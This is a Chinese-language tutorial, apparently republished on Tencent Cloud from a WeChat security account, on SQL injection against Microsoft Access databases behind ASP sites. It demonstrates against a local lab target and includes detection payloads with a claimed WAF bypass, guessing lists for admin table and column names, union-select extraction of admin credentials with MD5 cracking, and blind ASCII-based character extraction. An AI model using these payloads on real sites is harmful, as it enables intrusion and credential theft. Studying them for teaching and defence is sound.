SQL注入学习之 - Access数据库注入原理

Access-简介

Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet Database Engine 和 图形用户界面两项特点,是 Microsoft Office的系统程序之一

一般Access数据库用于aspaspx脚本网站比较多一些,这是一个比较小型的数据库,Access是以文件形式存放于目录中

有(列名/字段)、表名、值,数据库后缀是*.mdb:

从上图可以知道:

表名:admin_user

列名/字段:admin

值:21232f297a57a5a743894a0e4a801fc3

Asp连接Access数据库代码

*.mdb格式

<%
	dim conn,connstr,db
	db="Your.mdb"
	Set conn = Server.CreateObject("ADODB.Connection")
	connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db)
	conn.Open connstr
%>

*.accdb格式

<%
	dim conn,connstr,db
	db="Your.accdb"
	Set conn = Server.CreateObject("ADODB.Connection")
	connstr="Provider=Microsoft.ACE.OLEDB.12.0;Data Source=" & Server.MapPath(db)
	conn.Open connstr
%>

Access数据库注入原理

看一个网站有没有注入就是看看我们插入的字符有没有带入网站数据库中进行执行,执行就说明存在注入

漏洞靶场:http://127.0.0.1:99/

在URL后面*1,也就是id=31乘1,结果还是等于31对吧

所以页面返回正常!那么我在后面加一个-7: 因为数据库中只有id为:31、22、23、24、25、26的值:

可以看到在URL后面-7页面返回了是其他页面,说明它吧我们输入的值带入查询了!说明存在SQL注入

当然有些人判断是否存在注入是这样的:(当然你了解了原理,判断注入的方式都无所谓)

and 1=1 返回正常

and 1=2 返回错误

存在上方条件即可判断存在SQL注入

但是我一般喜欢用:.0 和 .1来判断(过安全狗)

.0 返回正常

.1 返回错误

有的时候你插入一些语句,网站页面前台不会回显任何信息,可以使用BurpSuite来查看回显信息!

判断数据库注入

为什么要判断是那种数据库?答:因为知道了数据库的类型就可以使用响应的SQL语法来进行注入攻击

判断是否为access数据库
and exsits(select * from msysobjects)>0

判断是否为sqlserver数据库and exsits(select * from sysobjects)>0
判断是否为access数据库

and exsits(select * from msysobjects)>0

可以看到页面回显:不能读取记录;在 'msysobjects' 上没有读取数据权限

说明存在msysobjects这个数据库名,Access数据库就存在这个数据库名!

判断数据库表名

联合查询是否有admin这个表名
and exists(select * from amdin)

很显然,admin这个表不存在!

常见的表名有:

admin
admins
admin_user
admin_usr
admin_msg
admin_login
user
username
manager
msg_user
msg_login
useradmin
...等等

提示:一般Access数据库有个表名:news,不过没啥卵用

最后手工猜解出表名是:admin_user

判断数据库列名

刚刚手工猜解出表名是:admin_user,现在来根据表名来判断列名:

查询admin_user表名下是否有admin这个列
 and exists(select admin from admin_user)

说明admin_user表名下还是有admin这个列名的!

admin_user表名下还有一个id列名一个password列名!

常见的列名有:

admin
admin_user
username
password
pass
pwd
users
usr
user_login
user_name
login_name
...等等

判断字段长度

必须小于等于字段的长度返回正常

order by [number]
order by 8
返回错误
order by 7
返回正常

知道了它有7列,那么就可以进行联合查询

union联合查询

通过union联合查询admin_user这个表
union select 1,2,3,4,5,6,7 from admin_user

可以看到,网站页面回显了几个数字:2、3、5!

爆出来的数字是非数字类型的列,因为方便爆出来账号密码!因为账号密码不是数字类型的,是字符型的!

这样我们就可以在这些列上来爆账号密码

使用union联合查询admin_user表下的admin、password列的字段内容
union select 1,admin,password,4,5,6,7 from admin_user

得到用户名:admin

MD5加密后的密码:21232f297a57a5a743894a0e4a801fc3

MD5解密结果为:admin

知道账号密码直接登录到后台管理!

番外篇

通过ASCII码来判断:

判断admin_user表名下的admin列下的内容长度是否等于5个字符,返回正常说明长度就是5

and (select len(admin) from admin_user)=5

说明判断admin列名的长度是5!

判断admin_user表名下的password列下的内容长度是否等于32个字符,返回正常说明长度就是32

and (select len(password) from admin_user)=32

一般MD5加密后的无非就1632位字符!

现在是判断出来管理员账号和密码的字符长度了!

接下来猜解出每一个字符了!

ASCII码的对照图

ASCII码猜解字符

这个语句的意思就是:

查询admin_user表下的admin列名的第个字符的第一列的ascii码是否大于100

and (select top 1 asc (mid(admin,1,1)) from admin_user)>100

因为admin列名的字段内容是admin!即第一个字符是a,而aASCII码是97!

那么就可以构造以下语句查询:

查询admin列名字段内容的第一个字符的第一列的ASCII码是否等于97,也就是a
and (select top 1 asc (mid(admin,1,1)) from admin_user)=97

返回正常!说明第一个字符是a!

因为我们知道字段内容是admin,那么a的下一个字符就是是d,而dASCII码就是100:

那么就可以构造以下语句查询:

and (select top 1 asc (mid(admin,2,1)) from admin_user)=100

返回正常!说明第二个字符的内容是d!

就是这样,一点点的判断然后爆出管理员的账号!也就是admin列名下的字段内容!

下面是爆password字段的内容:

因为之前我们知道了password的字段内容是:21232f297a57a5a743894a0e4a801fc3

那么第一个字段内容就是2,下一个就是1,再下两个分别是23以此类推!

因为2的ASCII码是50,那么就构造语句如下:

and (select top 1 asc (mid(password,1,1)) from admin_user)=50

返回正常!原理就是这样,以此类推下去慢慢猜解出来就好了,sqlmap就是采用这种方式来猜解字段内容的!

本文分享自微信公众号 - 漏洞知识库(HackedBug)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-10-08

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏运维之美

5 分钟读懂 MySQL 四种隔离级别间的区别

事务是应用程序中一系列严密的操作,所有操作必须成功完成,否则在每个操作中所作的所有更改都会被撤消。也就是事务具有原子性,一个事务中的一系列的操作要么全部成功,要...

9030
来自专栏攻城狮的那点事

Redis乐观锁实现一个秒杀系统

大多数是基于数据版本(version)的记录机制实现的。即为数据增加一个版本标识,在基于数据库表的版本解决方案中,一般是通过为数据库表增加一个”version”...

13730
来自专栏生信技能树

GEO数据挖掘技术可以应用到表达芯片也可以是转录组测序

虽然一直演示的表达芯片数据分析,这些芯片分析难点主要是在ID转换,因为不同公司设计的探针命名都不一样,在我4年前博客整理的芯片平台对应R包找:(16)芯片探针与...

21020
来自专栏沉默王二

如果有人问你 MySql 怎么存取 Emoji,把这篇文章扔给他

Emoji 在我们生活中真的是越来越常见了,几乎每次发消息的时候不带个 Emoji,总觉得少了点什么,似乎干巴巴的文字已经无法承载我们丰富的感情了。对于我们开发...

11530
来自专栏Java架构沉思录

这么优化,SQL快到飞起!

博主负责的项目主要采用阿里云数据库MySQL,最近频繁出现慢SQL告警,执行时间最长的竟然高达5分钟。导出日志后分析,主要原因竟然是没有命中索引和没有分页处理。...

4720
来自专栏大数据成神之路

战斗民族开源 | ClickHouse万亿数据双中心的设计与实践

场景描述:Clickhouse是一个用于联机分析处理(OLAP)的列式数据库管理系统。

14120
来自专栏JAVAandPython君

我用Flask写了一个图书作者管理项目(附完整代码)

这次给大家带来的是一个非常小的Flask案例,刚好也与我们之前学习的Flask知识紧紧相结合。

9810
来自专栏Java架构沉思录

MySQL用得好好的,为什么要转ES?

京东到家订单中心系统业务中,无论是外部商家的订单生产,或是内部上下游系统的依赖,订单查询的调用量都非常大,造成了订单数据读多写少的情况。

12120
来自专栏脑洞前端

【译】一文洞察 Chrome DevTools 近半年新增了哪些功能

本文首发于政采云前端团队博客:【译】一文洞察 Chrome DevTools 近半年新增了哪些新功能 https://www.zoo.team/article/...

9920
来自专栏杨建荣的学习笔记

唯一ID生成算法剖析,看看这篇就够了

在业务开发中,大量场景需要唯一ID来进行标识:用户需要唯一身份标识;商品需要唯一标识;消息需要唯一标识;事件需要唯一标识…等等,都需要全局唯一ID,尤其是分布式...

15240

扫码关注云+社区

领取腾讯云代金券

年度创作总结 领取年终奖励